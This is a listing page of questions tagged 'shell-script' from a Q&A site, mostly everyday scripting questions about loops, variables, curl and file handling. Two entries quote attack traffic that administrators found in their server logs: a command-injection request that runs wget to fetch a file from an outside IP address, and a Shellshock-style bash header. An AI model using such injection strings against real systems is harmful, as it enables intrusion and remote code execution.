Questions tagged [shell-script]

A shell script is a script written for the shell, or command line interpreter, of an operating system.

Filter by
Sorted by
Tagged with
243 votes
13 answers
321k views

Batch converting PNG to JPG in linux

Does anyone know a good way to batch-convert a bunch of PNGs into JPGs in linux? (I'm using Ubuntu). A png2jpg binary that I could just drop into a shell script would be ideal.
nedned's user avatar
  • 3,262
161 votes
9 answers
520k views

looping through `ls` results in bash shell script

Does any one have a template shell script for doing something with ls for a list of directory names and looping through each one and doing something? I'm planning to do ls -1d */ to get the list of ...
Daniel A. White's user avatar
149 votes
3 answers
196k views

What does export do in BASH? [duplicate]

Possible Duplicate: Difference between “a=b” and “export a=b” in bash It is hard to admit, but I have never really understood what exactly export does to an environment ...
Chas. Owens's user avatar
  • 2,532
115 votes
5 answers
169k views

Check if any of the parameters to a bash script match a string

I'm trying to write a script where I want to check if any of the parameters passed to a bash script match a string. The way I have it setup right now is if [ "$3" != "-disCopperBld" -a "$4" != "-...
iman453's user avatar
  • 1,495
111 votes
6 answers
39k views

When must I use #!/bin/bash and when #!/bin/sh?

When is #!/bin/bash more appropriate than #!/bin/sh in a shell script?
Hendré's user avatar
  • 863
81 votes
15 answers
828k views

How to execute .sh file on Windows?

When I am trying to execute a file(name.sh) in the command line by the command ./name.sh , I am getting the error that: "." is not recognized as an internal or external command, operable or ...
user avatar
76 votes
11 answers
55k views

Log rotation of stdout?

I have a Linux program which can write information to stdout and stderr. I have a shell script which redirects that output to a file in /var/log. (Via >> and 2>&1.) Is there a way to ...
Miral's user avatar
  • 1,219
73 votes
5 answers
113k views

Determine the architecture of a Mac from the command line or script?

I'm writing a shell script, and I need to know the architecture, i.e. PPC or Intel. Back in the day, there was a program /bin/arch that told you, but my Mac doesn't seem to have it. Is there an easy ...
Brian Postow's user avatar
  • 1,635
71 votes
5 answers
80k views

Avoid unwanted path in Zip file

I'm making a shell script to package some files. I'm zipping a directory like this: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ The problem is that the ...
jerwood's user avatar
  • 1,497
56 votes
2 answers
34k views

What is the difference between set, env, declare and export when setting a variable in a Linux shell?

What is the difference between set, env, declare and export when setting a variable in a Linux shell, such as bash?
user3872279's user avatar
  • 1,115
46 votes
3 answers
194k views

How to POST file contents using cURL?

I want to do an HTTP POST of the contents (as a string) of a local file located at path/to/my-file.txt to a URL endpoint at http://example.com/. For example, I might want to do the following: ...
Mowzer's user avatar
  • 2,299
42 votes
5 answers
228k views

How to test if a variable is equal to a number in shell

I have this shell script that isn't working. Input: Server_Name=1 if [ $Server_Name=1 ]; then echo Server Name is 1 else echo Server Name is not 1 fi Output: Server Name is 1 But, if i ...
user2649805's user avatar
40 votes
6 answers
46k views

How to extract a complete list of extension types within a directory?

Within a directory, and recursively within it's sub-directories, meaning every directory within a directory is processed, how do I compile a complete list of unique extensions within the directory? ...
blunders's user avatar
  • 887
40 votes
2 answers
131k views

How can I compare a variable to a text string, rather than integer, in an if/else statement?

In the process of writing a shell script, I ran into an issue with the following if/else statement that falls somewhere in the middle of the script: if [ $act -eq "add" ] then read - "add or ...
tony_perkis666's user avatar
37 votes
12 answers
163k views

Populating Array in DOS Batch Script

How can I setup an array variable in a DOS batch script? I would like to load it with a list of file names to process. I really would like to keep this as simple as possible. Thank you.
Jim Fell's user avatar
  • 5,906
37 votes
2 answers
9k views

What is wrong with “echo $(stuff)” or “echo `stuff`”?

I used one of the following echo $(stuff) echo `stuff` (where stuff is e.g. pwd or date or something more complicated). Then I was told this syntax is wrong, bad practice, non-elegant, excessive, ...
Kamil Maciorowski's user avatar
35 votes
5 answers
32k views

How to replace part of a text file between markers with another text file?

Say I have a text file like this: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT I'd like to replace the portion between the GENERATED CONTENT tags with the ...
smokris's user avatar
  • 1,602
35 votes
7 answers
78k views

Run a shell script on OS X without having a terminal window appear?

I'm trying to set up a few keyboard shortcuts that open specific iTerm sessions, which I was able to do with BetterTouchTool and a bit of AppleScript magic. The problem is that OS X insists to open a ...
toupeira's user avatar
  • 451
35 votes
1 answer
11k views

Bash: optionally passing arguments to a command

I'm trying to add arguments to a command call depend on another variable. Please look at the shell scripting code: curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ http://...
shouya's user avatar
  • 2,567
34 votes
2 answers
85k views

Unix Script: Wait until a file exists

I need a script that will wait for a (examplefile.txt) to appear in the /tmp directory and once it's found to stop the program, otherwise to sleep the file until it's located So far I have: if [ ! -f /...
Cidricc's user avatar
  • 483
33 votes
2 answers
5k views

What does this bash script do? [Hack Attempt]

I've been noticing on my servers apache logs, the following strange lines lately: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/...
ndom91's user avatar
  • 443
33 votes
2 answers
155k views

Shell script echo new line to file

I want to echo a new line to a file in between variables in a shell script. Here's my code: var1="Hello" var2="World!" logwrite="$var1 [Here's where I want to insert a new line] $var2 echo "$logwrite"...
daviesgeek's user avatar
  • 1,639
32 votes
5 answers
61k views

Passing two arguments to a command using pipes

Usually, we only need to pass one argument: echo abc | cat echo abc | cat some_file - echo abc | cat - some_file Is there a way to pass two arguments? Something like {echo abc , echo xyz} | cat cat ...
goweon's user avatar
  • 1,753
31 votes
5 answers
79k views

Downloading Youtube videos in a text file...?

If you are familiar to Linux, see the following script... I have a text file with a (list.txt) of Youtube URLs separated by new line... and I use cat list.txt | youtube-dl -f best to download all ...
user avatar
29 votes
7 answers
144k views

ssh and shell through ssh : how to exit?

I'm launching a distant script through SSH like this: ssh user@ipaddress '~/my_script.sh' Everything is going fine but once the script is finished, the connection is not closed. I Have to press CTRL-...
Olivier Pons's user avatar
29 votes
2 answers
24k views

Where to store cronjob script?

I'd prefer to not keep it in my /home/myusername directory. Is there a best practice of where to store your shell scripts for cronjobs? At the root level? I'm running ubuntu server 12.04 right now.
tarabyte's user avatar
  • 2,323
28 votes
2 answers
25k views

Split very long line of words into separate lines of max length

I have a script that outputs a list of packages on a single long line separated by spaces. The information included in this line shall be inserted into a text file which is later presented to a user. ...
jan's user avatar
  • 473
28 votes
4 answers
46k views

How do you escape apostrophe in single quoted string in bash?

I don't understand how bash evaluates escaping of apostrophe characters in single quoted strings. Here is an example: $ echo ''\''Hello World'\''' 'Hello World' # works $ echo '\'Hello World\'' &...
Kibet's user avatar
  • 418
27 votes
12 answers
44k views

how to `tail` the latest file in a directory

In shell, how can I tail the latest file created in a directory?
Itay Moav -Malimovka's user avatar
27 votes
1 answer
34k views

Can I "export" an alias to the SHELL that invoked a script?

I'm trying to write a utility script that defines certain aliases. My SHELL is tcsh (can't change that). I tried the following #!/bin/tcsh alias log 'less ~/logs/log.`date '+%Y%m%d'`'' Then I run ...
RonK's user avatar
  • 1,520
26 votes
3 answers
18k views

How to update bash on Mac OS X Yosemite

Just trying to learn bash scripting a little. My old bash version: Bash version 3.2.53(1)-release... I've updated my bash on mac os x yosemite with homebrew: brew update brew install bash Then in ...
drew1kun's user avatar
  • 2,137
24 votes
8 answers
279k views

How can I run a shell script in Windows? [duplicate]

I'm a Mac user and new to Windows. How can I execute a shell script in Windows? Generally, I would save the text file with the extension .sh and run it via Terminal. But how could I do that in ...
Terminator's user avatar
24 votes
3 answers
5k views

Is this an attack or something to be concerned about? Shellshock?

Saw this in the access.log on my test server : 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;...
davidkonrad's user avatar
23 votes
4 answers
96k views

Edit xml file using shell script / command

I need to do this using unix script or command There is a xml file in /home/user/app/xmlfiles like <book> <fiction type='a'> <author type=''></author> </...
VRVigneshwara's user avatar
23 votes
2 answers
124k views

How do I concatenate strings in a bash script?

How can I concatenate strings and variables in a shell script? stringOne = "foo" stringTwo = "anythingButBar" stringThree = "? and ?" I want to output "foo and anythingButBar"
Moshe's user avatar
  • 5,828
23 votes
2 answers
9k views

Writing shell scripts that will run on any shell (using multiple shebang lines?)

I've just started getting deeper into shell scripting, and I've always just thrown my script in a file, marked it chmod +x and then done /path/to/script.sh and let whatever interpreter is the default ...
swrobel's user avatar
  • 365
22 votes
6 answers
5k views

Programatically determine if an script is being executed on laptop or desktop?

Is there any reliable way to determine (programmatically) from within a bash script if it is being executed on a laptop or a desktop computer? I could obviously just prompt the user to ask them, but ...
PseudoPsyche's user avatar
21 votes
4 answers
15k views

Should I put *.sh and *.rb file extensions on all my scripts?

I have a bunch of hand-rolled executable scripts in my $HOME/bin directory. Some are written in bash, some in Ruby. All of them have the shebang line at the top telling the shell what interpreter to ...
dan's user avatar
  • 7,417
21 votes
1 answer
15k views

Echo text in a certain color in a shell script

I am about to write a shell script. I would like to be able to visually distinguish some of its output text as a warning, by setting its color to yellow. How is this done?
Alan H.'s user avatar
  • 2,828
20 votes
9 answers
101k views

How to find length of string in shell

I need to calculate the length of a string using pure sh shell only. What is happening is that /bin/sh is actually a soft link to bash or another shell. Hence ${#STRING} gives the length of string as ...
Niraj Nandane's user avatar
20 votes
1 answer
38k views

How to pass variables to a HEREDOC in bash?

I want to do something like this: $ NAME=John $ cat << '==end' > test My name is $NAME ==end $ cat test My name is John Any ideas?
ChocoDeveloper's user avatar
19 votes
6 answers
17k views

Run script in OS X 10.6 on network connection. (like /etc/network/if-up.d/)

Is there any way to run a script when a network interface comes up in Mac OS X? I've tried putting a script named ip-up in /etc/ppp but it doesn't seem to fire when I disconnect and reconnect to a ...
Zxaos's user avatar
  • 321
19 votes
4 answers
19k views

Who deals with the star * in echo *

Who deals (interprets) the * in echo * Does the echo see the star or the shell take care about it and return a list of filename .. What about cp temp temp*
faressoft's user avatar
  • 403
18 votes
5 answers
49k views

Loop over a range of numbers to download with wget

How can I write a bash script that is going to do the following: URL = "example.com/imageID=" while (1..100) wget URL + $i #it will wget example.com/imageID=1, then 2, then 3, etc done So I have ...
Szymon Toda's user avatar
  • 1,639
18 votes
3 answers
96k views

How to print new line character with echo?

I dump a string with hexdump like this 2031 3334 2e30 0a32 2032 3331 302e 000a. It is clear that 0x0a is new line character, however, when I try to echo this string out, I always got 1 430.2 2 13.0 -- ...
Summer_More_More_Tea's user avatar
17 votes
3 answers
32k views

Recursive unrar of several folders

I have several RAR archives spread around multiple directories but all under a particular root folder on my Debian based NAS. Could someone help me write a simple script that would recursively go into ...
Touff's user avatar
  • 388
17 votes
2 answers
41k views

Why do I Get [[: not found When Running a Script?

I'm trying to write a script that has to check if a file exists. In the console I write if [[ -a /path/to/file.txt ]]; then echo "not mod"; else echo "mod"; fi and I get not mod but when I write a ...
Buzu's user avatar
  • 191
17 votes
5 answers
33k views

grep changing the delimiter

any way we can change the delimiter that uses grep? I think, by default, grep uses \n as the delimiter.
user avatar
16 votes
7 answers
37k views

How to echo commands in a bash shell script, but not execute them?

Is there a way for running a shell script with echoing the commands but w/o actually executing them? Let's say I have script removing a file whose name is stored in a variable: #!/bin/bash set -v FN=...
ysap's user avatar
  • 2,670
16 votes
3 answers
7k views

How do I launch a bash script from Finder in OS X?

How do I launch a bash script from Finder in OS X? I'm OK working at the CLI, but my little script is not so loved by my GUI-bound colleagues.
Stu Thompson's user avatar
  • 1,166

1
2 3 4 5
29